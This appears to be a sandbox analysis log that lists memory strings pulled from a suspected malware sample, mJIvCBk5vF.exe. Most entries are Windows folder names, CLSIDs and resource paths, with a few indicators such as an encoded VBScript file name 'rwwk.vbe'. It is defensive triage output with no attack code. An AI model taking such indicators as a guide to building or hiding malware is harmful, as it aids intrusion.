              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\appdata\local\microsoft\onedrive\onedrive.exe,1memstr_41a38df0-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: iconresourcec:\users\user\appdata\local\microsoft\onedrive\onedrive.exe,1memstr_7b091890-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\windows.storage.dll,-21829memstr_403ce513-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: shell:::{89d83576-6bd1-4c86-9454-beb04e94c819}\*memstr_f48a527c-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\windows.storage.dll,-21791memstr_6fcd819d-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\windows.storage.dll,-34595memstr_b664f34e-4
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\windows.storage.dll,-34575memstr_87341ad8-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\windows.storage.dll,-21779memstr_6493563d-4
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\windows.storage.dll,-34583memstr_97e956bb-9
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: pce pmemstr_69cbb45f-4
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\windows.storage.dll,-34583vvmemstr_69a66fe6-7
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: engineer-pcmemstr_e00f16f2-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 192.168.2.6memstr_97665266-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\windows.storage.dll,-21790rvmemstr_e860e944-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\windows.storage.dll,-21825.v||memstr_21132404-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\windows.storage.dll,-34620memstr_7df796ab-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: gfv <memstr_71adcf59-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ]/qnn6%memstr_cb504241-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: j9*`+memstr_bc805b07-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: sthxvmemstr_29795e6a-a
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ^7*l"memstr_9e0008b3-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: rwwk.vbe|memstr_7afe3ed1-e
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: clsid\{76765b11-3f95-4af2-ac9d-ea55d8994f1a}memstr_cd7ffd5c-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: edit20wtipclass1memstr_5a762312-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: v1ew<2memstr_7f52cd0c-4
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ew<2eymemstr_e8a1301b-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ^appdatamemstr_e4bf3b8e-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: localmemstr_c8060dce-0
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: local<memstr_b43ddf09-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: olocalmemstr_dddb3558-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: temp:memstr_caf00768-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: common start menuesmemstr_f730d921-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: security managerusmemstr_bf729a43-e
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: onedrivedocuments-smemstr_38d12e76-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: connectionsfoldermemstr_cec8d767-4
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: videos.library-msmemstr_545a0e2a-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: programfilescommonmemstr_536796e0-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: appdatadocumentsmemstr_43e535bf-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: music.library-msmemstr_f6aa4b06-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: onedrivecamerarollmemstr_45ccae43-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: yc0pxmemstr_7382c2bd-9
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ]/qnn0ixmemstr_bfc93be2-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ::{59031a47-3f72-44a7-89c5-5595fe6b30ee}\{7d1d3a04-debb-4115-95cf-2f29da2920da}|memstr_95d91c01-7
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: clsid\{4df0c730-df9d-4ae3-9153-aa6b82e9795a}memstr_049d2dba-7
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: clsid\{4df0c730-df9d-4ae3-9153-aa6b82e9795a}(sxmemstr_0f824fb7-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ::{031e4825-7b94-4dc3-b131-e946b44c8dd5}\{2112ab0a-c86a-4ffe-a368-0de96e47012e}mmemstr_834a8fe1-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ::{031e4825-7b94-4dc3-b131-e946b44c8dd5}\{e25b5812-be88-4bd9-94b0-29233477b6c3}omemstr_8200a88e-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: shell:::{20d04fe0-3aea-1069-a2d8-08002b30309d}\::{a0953c92-50dc-43bf-be83-3742fed03c9c}mmemstr_abfdb147-7
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ::{031e4825-7b94-4dc3-b131-e946b44c8dd5}\{491e922f-5643-4af4-a7eb-4e7a138d8174}omemstr_1c400dad-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: shell:::{20d04fe0-3aea-1069-a2d8-08002b30309d}\::{3add1653-eb32-4cb0-bbd7-dfa0abb5acca}ymemstr_b31d0e36-a
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ::{26ee0668-a00a-44d7-9371-beb064c98683}\0\::{9c73f5e5-7ae7-4e32-a8e8-8d23b85255bf}\::{f1390a9a-a3f4-4e5d-9c5f-98f3bd8d935c},ymemstr_9e23e839-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ::{26ee0668-a00a-44d7-9371-beb064c98683}\0\::{9c73f5e5-7ae7-4e32-a8e8-8d23b85255bf}\::{bc48b32f-5910-47f5-8570-5074a8a5636a},memstr_1defba31-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: localizedresourcename@%systemroot%\system32\shell32.dll,-21813memstr_170b2b0a-6
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: searchesbmemstr_42c333c0-9
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: .searchesmemstr_14f5c868-7
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 3d objectsfmemstr_58dead1a-4
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: .3d objectsmemstr_3be3d660-0
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 1ew<2memstr_fff5d4bd-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: appdatatmemstr_31ff1e66-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ^appdatabmemstr_6cbd61af-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: .appdatabmemstr_fb01fcfa-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-12690__memstr_bc929d29-e
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-12688+_memstr_778e1341-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %systemroot%\system32\imageres.dll,-10047_memstr_b1543ec9-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-12690memstr_d2a34e5b-9
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ::{031e4825-7b94-4dc3-b131-e946b44c8dd5}memstr_7e14152c-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %systemroot%\system32\imageres.dll,-1013memstr_ac3454d2-4
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-21813memstr_0a888f2e-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ::{645ff040-5081-101b-9f08-00aa002f954e}memstr_86b7550a-e
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-21815memstr_046fc39d-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-21786memstr_61f27918-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-21782memstr_99c10ad8-a
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-21762memstr_616fd821-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ::{871c5380-42a0-1069-a2ea-08002b30309d}memstr_af1404c8-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %systemroot%\system32\imageres.dll,-1002memstr_999ad6fd-0
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-50704memstr_18b3db88-0
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-12689memstr_f23102ef-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: k^:}lmemstr_bbb28c12-3
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-21797k^:}lmemstr_83816bfb-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-21804w^memstr_1839d5ef-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-21769c^memstr_bfd5a4cf-3
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\windows\system32\windows.storage.dlllo^memstr_f9b6d5f0-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-21796[^memstr_c2bcfab5-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %systemroot%\system32\imageres.dll,-1005'^memstr_66fad93c-3
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\windows\system32\windows.storage.dlll3^memstr_2d6a302c-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-12689?^memstr_1d90b95c-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: microsoft\internet explorer\quick launchmemstr_3e068d3b-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-21787memstr_df66374f-a
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ::{20d04fe0-3aea-1069-a2d8-08002b30309d}memstr_bb59952f-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ::{b4fb3f98-c1ea-428d-a78a-d1f5659cba93}memstr_5e5e62dc-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-21799memstr_63096f2c-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-21819memstr_9302f8ef-6
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-21802memstr_3c97baab-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %systemroot%\system32\imageres.dll,-1003memstr_9dbea1b6-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-21816memstr_d8c68eb2-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-21808memstr_dd358cf1-9
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %systemroot%\system32\imageres.dll,-1008g]>|'memstr_aa83cc3b-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-12688s]memstr_f3daed0f-3
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-34615ymemstr_b635f107-3
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: administrative tools[]memstr_6de60dd9-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: userslibrariesfolder ]memstr_59ac22e6-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: documents.library-ms)]memstr_cef83114-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: addnewprogramsfolder.]memstr_c4754daa-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: recordedtv.library-ms<]memstr_88a45448-4
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: known folder managermemstr_6688c1e6-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: userprogramfilescommonmemstr_c00647fb-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: application shortcutsmemstr_f5e0f85a-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: programfilescommonx86memstr_e7cc614b-3
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: administrative toolsmemstr_a3d3ad61-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: lmem memstr_cee9cbc0-7
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: negoextenderneelmem memstr_f1500425-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: localizedresourcesdirmemstr_35c73189-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: publicaccountpicturesmemstr_ff3692a9-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: implicitappshortcutsmemstr_14a3cfcd-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: administrative toolsd\0}memstr_182e0d1e-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: savedpictureslibrarym\9}memstr_960d9797-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: cameraroll.library-msr\memstr_ee03be83-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\links{\memstr_58d531ed-6
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: user pinned!\memstr_8e8786c3-7
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: pictures%\memstr_e8721510-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: appsfolder)\memstr_9712163f-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: programdata-\memstr_5e0878f0-7
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: systemx861\memstr_5ea7c4d7-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: user pinned9\memstr_ef64a480-a
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: commonmusic=\memstr_56349fa2-3
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: printhoodmemstr_7d2a1b8e-a
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: slide showsmemstr_560cec50-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: cryptokeysmemstr_f51596a9-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: favoritesmemstr_3ced49c9-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: start menumemstr_282a01e6-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: playlistsmemstr_fcc83ba7-6
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: photoalbumsmemstr_8f8609dd-7
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: capturesmemstr_b76e2c2b-0
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: resourcedirmemstr_e2cc78ac-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: cscfoldermemstr_18b2c782-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ringtonesmemstr_bfe05a1b-6
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: gametasksmemstr_9cf8dc0e-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: programsmemstr_98e15420-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: camera rollmemstr_709a3f43-9
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: screenshotsmemstr_9389f01c-3
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: favoritesa[6}3memstr_670f10fe-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: programse[2}4memstr_8df64b9b-e
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: contactsi[>}5memstr_2fd75bf7-a
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: camera rollm[:}6memstr_045cdb0b-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: commonvideoq[memstr_19288b64-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: my picturesu[memstr_de3d6e8a-e
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: programsy[memstr_27888970-4
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: contacts}[memstr_aa28d6ee-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: favoritesi[memstr_a969c997-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: my musicymemstr_b4ba8cbf-e
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 9dz2}memstr_9dcb0d35-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: qs(\xmemstr_bd6b953c-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: dg2~=memstr_ffb0fa64-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: mycomputerfolder)gmemstr_5ff4bc28-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: camerarolllibrarymemstr_cc2818f3-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: >k0nxmemstr_276fb637-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: cf6}"memstr_940dfd52-7
